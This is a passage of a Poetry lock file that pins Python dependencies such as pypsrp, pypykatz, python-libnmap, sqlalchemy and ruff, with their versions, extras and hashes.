"sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6"}, +] + +[[package]] +name = "pypsrp" +version = "0.9.1" +description = "PowerShell Remoting Protocol and WinRM for Python" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "pypsrp-0.9.1-py3-none-any.whl", hash = "sha256:1217b03397589f8e77c98dc9d2a4af2abc34a89ccc15efd4b6758ec76eb1bb7d"}, + {file = "pypsrp-0.9.1.tar.gz", hash = "sha256:3ad41285739d5f8107dd8277ae00e86ee44153aae5e82fb578ac8048307e0d12"}, +] + +[package.dependencies] +cryptography = ">=3.1" +pyspnego = ">=0.7.0,<1.0.0" +requests = ">=2.27.0" + +[package.extras] +credssp = ["requests-credssp (>=2.0.0)"] +dev = ["PyYAML", "black (==25.11.0)", "build", "isort (==6.1.0)", "mypy (==1.19.0)", "pre-commit", "pyspnego[kerberos]", "pytest", "pytest-cov", "pytest-mock", "requests-credssp", "types-PyYAML", "types-requests", "xmldiff"] +kerberos = ["pyspnego[kerberos]"] + +[[package]] +name = "pypykatz" +version = "0.6.13" +description = "Python implementation of Mimikatz" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "pypykatz-0.6.13-py3-none-any.whl", hash = "sha256:c715fc22af49b893dc15e4e376ff167107ad602e1f91a5a2320c3aa7a7e41e3c"}, + {file = "pypykatz-0.6.13.tar.gz", hash = "sha256:f93d44fc393839c5daf2f061b29b81ffc576dd3391b175deb59a72956db94893"}, +] + +[package.dependencies] +aesedb = ">=0.1.4,<=0.2.0" +aiosmb = ">=0.4.8,<=0.5.0" +aiowinreg = ">=0.0.11,<=0.1.0" +minidump = ">=0.0.21,<=0.1.0" +minikerberos = ">=0.4.1,<=0.5.0" +msldap = ">=0.5.7,<=0.6.0" +tqdm = "*" +unicrypto = ">=0.0.10,<=0.1.0" +winacl = ">=0.1.9,<=0.2.0" + +[[package]] +name = "pyreadline3" +version = "3.5.6" +description = "A python implementation of GNU readline." +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "pyreadline3-3.5.6-py3-none-any.whl", hash = "sha256:8449b734232e42a5dcd74048e39b60db2839a4c38cf3ae2bf7707d58b5389c0d"}, + {file = "pyreadline3-3.5.6.tar.gz", hash = "sha256:61e53218b99656091ddb077df9e71f25850e72e030b6183b39c9b7e6e4f4a9bf"}, +] + +[package.extras] +dev = ["build", "flake8", "mypy", "pytest", "twine"] + +[[package]] +name = "pyspnego" +version = "0.12.1" +description = "Windows Negotiate Authentication Client and Server" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pyspnego-0.12.1-py3-none-any.whl", hash = "sha256:7237cb47985ccf5da512106ddb2731e4f9cefec00991f76c054488eb95fb1a2d"}, + {file = "pyspnego-0.12.1.tar.gz", hash = "sha256:ff4fb6df38202a012ea2a0f43091ae9680878443f0ea61c9ea0e2e8152a4b810"}, +] + +[package.dependencies] +cryptography = "*" +sspilib = {version = ">=0.3.0", markers = "sys_platform == \"win32\""} + +[package.extras] +kerberos = ["gssapi (>=1.6.0) ; sys_platform != \"win32\"", "krb5 (>=0.3.0) ; sys_platform != \"win32\""] +yaml = ["ruamel.yaml"] + +[[package]] +name = "pytest" +version = "7.4.4" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, + {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" + +[package.extras] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] +files = [ + {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, + {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-libnmap" +version = "0.7.3" +description = "Python NMAP library enabling you to start async nmap tasks, parse and compare/diff scan results" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "python-libnmap-0.7.3.tar.gz", hash = "sha256:d03629256c2ee9ab37390c28d4c4c2ae9637cd0861dd8ab9e0f32779545936c0"}, +] + +[package.extras] +defusedxml = ["defusedxml (>=0.6.0)"] + +[[package]] +name = "pytz" +version = "2026.3.post1" +description = "World timezone definitions, modern and historical" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815"}, + {file = "pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d"}, +] + +[[package]] +name = "requests" +version = "2.32.5" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset_normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rich" +version = "15.0.0" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.9.0" +groups = ["main"] +files = [ + {file = "rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb"}, + {file = "rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "ruff" +version = "0.16.3" +description = "An extremely fast Python linter and code formatter, written in Rust." +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "ruff-0.16.3-py3-none-linux_armv6l.whl", hash = "sha256:0c5710e247a58a4521e66e124ba9a74655b414f61ba3a2e9e3811e11098f48f7"}, + {file = "ruff-0.16.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fe155130631a2471fd2e14a7a664a4dfbd7194b8229c3d7b2a40b21178639081"}, + {file = "ruff-0.16.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e2ed719e14aa64d895c2ee922594a90a43c861a93f0575a95ff8c47cdbd13eb9"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e0b1da805eb043654645d74d5de1e5ce2edc686e40790d2b86f56d71cc06a84"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a37bdea0bbe21780f590bf437d6412c8c4e1b6cd010f91a65c2c40c5e5f5f870"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09571e6d1288ed9be475207a3ac04ada404f1cd898104be0f6ab8d7df438575b"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c18c5a101eb540010638cc1ff3c84944d3adb3df62b8d98ca8f22ba484d3413"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8457c44f15033c85ddbb77b15d451df9e24e4bd03b628396dd3610cedc3b8f82"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:294b95c4ae0cda9388525c2047778aa758d6b8d4bb876fd4e9eaa3ebc92343eb"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:3d0c7c40c87c2a820509c31ba007968da6e1306468c067b2d82fbfdbcd0e8474"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:9f738c0fdfa8eed0b2ce7fb27ee7258208a92a68d7949e62aa15164bc7b389da"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:fb785f0be25abe69d320415cd4f833b59e17ba7613d9ba6a958023b6bceb0a50"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c5536e3acfbf9563085aa2be7b13c629c3077e902afc5b941ac44024dbb9f506"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:a2d85c02f9b8e165d85e6779184d38c4132de12603dab59c51c28e22584f9e4d"}, + {file = "ruff-0.16.3-py3-none-win32.whl", hash = "sha256:388cdf2166642bd9b13d52b5932d3170f34f8abed7e8d9a855f1d84b83645a0a"}, + {file = "ruff-0.16.3-py3-none-win_amd64.whl", hash = "sha256:e80a7d69ca2a6d1c4d352ec91458cdca6e56c83cdbcabd93e4abe1e53591d948"}, + {file = "ruff-0.16.3-py3-none-win_arm64.whl", hash = "sha256:b8ca152da82c1acc1fa8d5874b15951935f0eef46f10e6954c83859011b6178a"}, + {file = "ruff-0.16.3.tar.gz", hash = "sha256:e76d33a347661a84b5be6d043d0347fdc745dfdcf825a8f4fed64b5e26eebdf2"}, +] + +[[package]] +name = "setuptools" +version = "84.0.0" +description = "Most extensible Python build backend with support for C/C++ extension modules" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670"}, + {file = "setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73"}, +] + +[package.extras] +check = ["pytest-checkdocs (>=2.14)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.13.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=3.4)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.18.*)", "pytest-mypy (>=1.0.1) ; platform_python_implementation != \"PyPy\""] + +[[package]] +name = "shiv" +version = "1.0.8" +description = "A command line utility for building fully self contained Python zipapps." +optional = false +python-versions = ">=3.6" +groups = ["dev"] +files = [ + {file = "shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24"}, + {file = "shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6"}, +] + +[package.dependencies] +click = ">=6.7,!=7.0" +pip = ">=9.0.3" +setuptools = "*" + +[package.extras] +rtd = ["sphinx-click"] + +[[package]] +name = "six" +version = "1.17.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] +files = [ + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, +] + +[[package]] +name = "soupsieve" +version = "2.9.2" +description = "A modern CSS selector implementation for Beautiful Soup." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "soupsieve-2.9.2-py3-none-any.whl", hash = "sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823"}, + {file = "soupsieve-2.9.2.tar.gz", hash = "sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74"}, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.52" +description = "Database Abstraction Library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f8438a98d49424acf69d0d53c0a522951dfe49a6f2d86417fbb37ad3066ab43"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4699dbb8d396d199e7e78fd4d525e3ad3d6008a9c8c0160b87e74c606c2c3736"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-win32.whl", hash = "sha256:cef328349452ae152637df4d11ce5a0919ecdf0a363e16c830c3518ee33bde72"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-win_amd64.whl", hash = "sha256:f1c850792a3b25a3ad74dade3f05e4f402cdebfea27438bcadafaa1617f77bcc"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be8c49131665dfe2cc74c498aa1240ffb548d0fd901325dd11c2c7a18956f727"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b2d9e507a458832adcfbd8af6e2036ddf069b7710b799448542ebccae2dceee"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8738008376d22f30f411ea3efecf39b51110b6996d80bb73786f30bcfdd5fd3b"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37a4d548327b6cab9c7d8cdb4e0e82feabee0110c4d150059068e2d1cfbd99ee"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e49f51a5d59857a7a0dcaf9469febf7197d9394bd88f00d69c2c4e848112cdbf"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-win32.whl", hash = "sha256:afda3ec521d0517d0de783fc70030775841900896d832de5bbd066549290470e"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-win_amd64.whl", hash = "sha256:2d5e53e36e37129fe0be8b9d08b6e4052c10a963ee6cda56c8c10dcc194b99ca"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3e03ce67663a5e6742f294e43"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:923bb183c1dc64fdf7b717965e3d59938ec4f8b8710b419a21ce403e5da9a9e1"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:651d6d8782e80679e6151707c7b490834d46ada526328895abf567f25e63d29c"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b08cddb8989775e3c88799d86704bdfc3ee6e9846118201aa5997f16f27e3a15"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ab66fa9618269390d4dfa222f2f2f88f7bc4bf5da13905131b818217db7e8057"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-win32.whl", hash = "sha256:c63bda077685c85ca513286547a531ba57e7a68cf0a7ed3bafcc2bbd18896f4d"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-win_amd64.whl", hash = "sha256:9876b09b9f1ce7398b0ffece585c0a911244c53191187341f6bcae640e133751"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:410d52be41d17f1a236d19520fbe776257dc16516ed06bd16d433311842aefd9"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfe9ce533dbe4d0a2ae1486546619bd30b76bcd670539a44d910361376175f5e"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:812bae5138bfc0aa46fb0686da0fc7f581f68e2bbb05bc24c3713bebaedd1437"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:50bff43b632a56fbf5ed9afdd76307e1512b62051bcd5afb341ae67205bbb6c8"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:49565daf5af554f538e23aef1fc81a95a4e49658f152285e45c02f5fc44f04cd"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-win32.whl", hash = "sha256:ab9da41e61b9979b910499d633b241df20c51ee5037e5405b11c2faac3cbe1a2"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-win_amd64.whl", hash = "sha256:a593db51b3bae75db17a5738ad5f992244b3a03863f83c28117ee482c6a3f76d"}, + {file = "sqlalchemy-2.0.52-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1e61d08bdf4ee2f41024569e3400de7d6734ba498144766b11260936ccfa582"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1b92a1e23ed40022081217b40d2d1feba4f77064e69ef4f39f68bcbbd148452a"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77a247d3fd179f6583171e7e0e98f40dc6642ed4f655557515a5a7e25923e9a4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cd9206024b8602e7518bbaf44016c29e0045722f09328d8e654941023920d0b3"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:46f0c46f0d360d727b84660b26c62b295d82306ec2c82b701e97747d2c6dcbe1"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:df8f213ceb485d8227b74935eb87ba0d80169a8401eba7835da6e30d6727dac4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-win32.whl", hash = "sha256:f2b09029ef6f260409eefa5dc2b8276f6c3d7b892bfb50d50e8f852257d4a6b4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-win_amd64.whl", hash = "sha256:765f439da5bc8696973bc0c8a31fae0912ac3ff1cb9d66246a6b2728ee4fbbc8"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b89e93bb89eabdbea9d5d3fa2d6cc6544e733c33064339f91e5292480cf130e"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cf993f065bc04caa5000b339e8d9d6f3d9d00251511f850147c516c9e07115f"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cce4922535db73f9dbb91e3db2b3e851ac629467fd1ebd8e354a60e369521c63"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2f5fa2b2aca75d2c7f36db3a8dd04717b6fbfd1a964fb32bdeae16698e475ab3"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f4d4f7afc682961dc567db70e00a7b5bd81ccd3743c46199b0257f0744902dde"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-win32.whl", hash = "sha256:de89de5b5798cafdd7ef7b7b804acec246d6152922128fd9d156cd1701271aff"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-win_amd64.whl", hash = "sha256:3c95c3044edddb65e4a2f7194ec52ca5a9736f72d33ca3a6fa4196aedcc689fd"}, + {file = "sqlalchemy-2.0.52-py3-none-any.whl", hash = "sha256:3b81b8363a919ce53453591cdb93702e6bd54ade6c4fa2f468fc053baee5ed89"}, + {file = "sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97"}, +] + +[package.dependencies] +greenlet = {version = ">=1", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""} +typing-extensions = ">=4.6.0" + +[package.extras] +aiomysql = ["aiomysql (>=0.2.0)", "greenlet (>=1)"] +aioodbc = ["aioodbc", "greenlet (>=1)"] +aiosqlite = ["aiosqlite", "greenlet (>=1)", "typing_extensions (!=3.10.0.1)"] +asyncio = ["greenlet (>=1)"] +asyncmy = ["asyncmy (>=0.2.12)", "greenlet (>=1)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] +mssql = ["pyodbc"] +mssql-pymssql = ["pymssql"] +mssql-pyodbc = ["pyodbc"] +mypy = ["mypy (>=0.910)"] +mysql = ["mysqlclient (>=1.4.0)"] +mysql-connector = ["mysql-connector-python"] +oracle = ["cx_oracle (>=8)"] +oracle-oracledb = ["oracledb (>=1.0.1)"] +postgresql = ["psycopg2 (>=2.7)"] +postgresql-asyncpg = ["asyncpg", "greenlet (>=1)"] +postgresql-pg8000 = ["pg8000 (>=1.29.1)"] +postgresql-psycopg = ["psycopg (>=3.0.7)"] +postgresql-psycopg2binary = ["psycopg2-binary"] +postgresql-psycopg2cffi = ["psycopg2cffi"] +postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"] +pymysql = ["pymysql"] +sqlcipher = ["sqlcipher3_binary"] + +[[package]] +name = "sspilib" +version = "0.5.0" +description = "SSPI API bindings for Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "sspilib-0.5.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:9c64965de12f3eea242fd57045e546721929f62da65a3e5d629bee39314394d1"}, + {file = "sspilib-0.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bab2f828bfb8750091f17a71cc753402ecc24544331570edeaa04b97e0f97193"}, + {file = "sspilib-0.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:05f13740f16ffd14ef2d383fc2f9d376a414052263bc7595929019195dfc001a"}, + {file = "sspilib-0.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:07efa91478c3e6de328fe65226172b8e4cf08976be859d4dbf03655be6b6c4ab"}, + {file = "sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902"}, + {file = "sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84"}, + {file = "sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840"}, + {file = "sspilib-0.5.0-cp311-abi3-macosx_10_12_x86_64.whl", hash = "sha256:eaba0331997368ffbdedff5e95f4fec18b19c809637e8848a4c673130fb4dd9e"}, + {file = "sspilib-0.5.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:3dbb80bfe0a17f272c68e9d86a0375d11f98157abe998272a540e635694c1540"}, + {file = "sspilib-0.5.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4266eda17b81f50e71a3f75cdddf424d76046de68d8014d289a895ec008df4e4"}, + {file = "sspilib-0.5.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:57ea0ce644339bb71ee3eb226b22a121d011b0aea5e2f32d078d88f4a269359b"}, + {file = "sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6"}, + {file = "sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45"}, + {file = "sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb"}, + {file = "sspilib-0.5.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:10018d475022643d11b1aeef08e674d8a3f8b03a597ad31fa8c8c302a58ee960"}, + {file = "sspilib-0.5.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2124dece22406b71294311bcef7e0e3fae88e85fee77039a96771f6972c98377"}, + {file = "sspilib-0.5.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:963ca7d7158b19b46fcfd8c3bb5f94696ff6e9cf7b01911586717105f11336b0"}, + {file = "sspilib-0.5.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:13d9fbe9a2e0df6405cac39a2a5a93f0f04c67b8e8d5e4c6cd27f8f76a16ce9c"}, + {file = "sspilib-0.5.0-cp314-cp314t-win32.whl", hash = "sha256:9dad272abf3f4cf0bf95d495075d2987f6ba1fb300f8d603661ccac07d11272f"}, + {file = 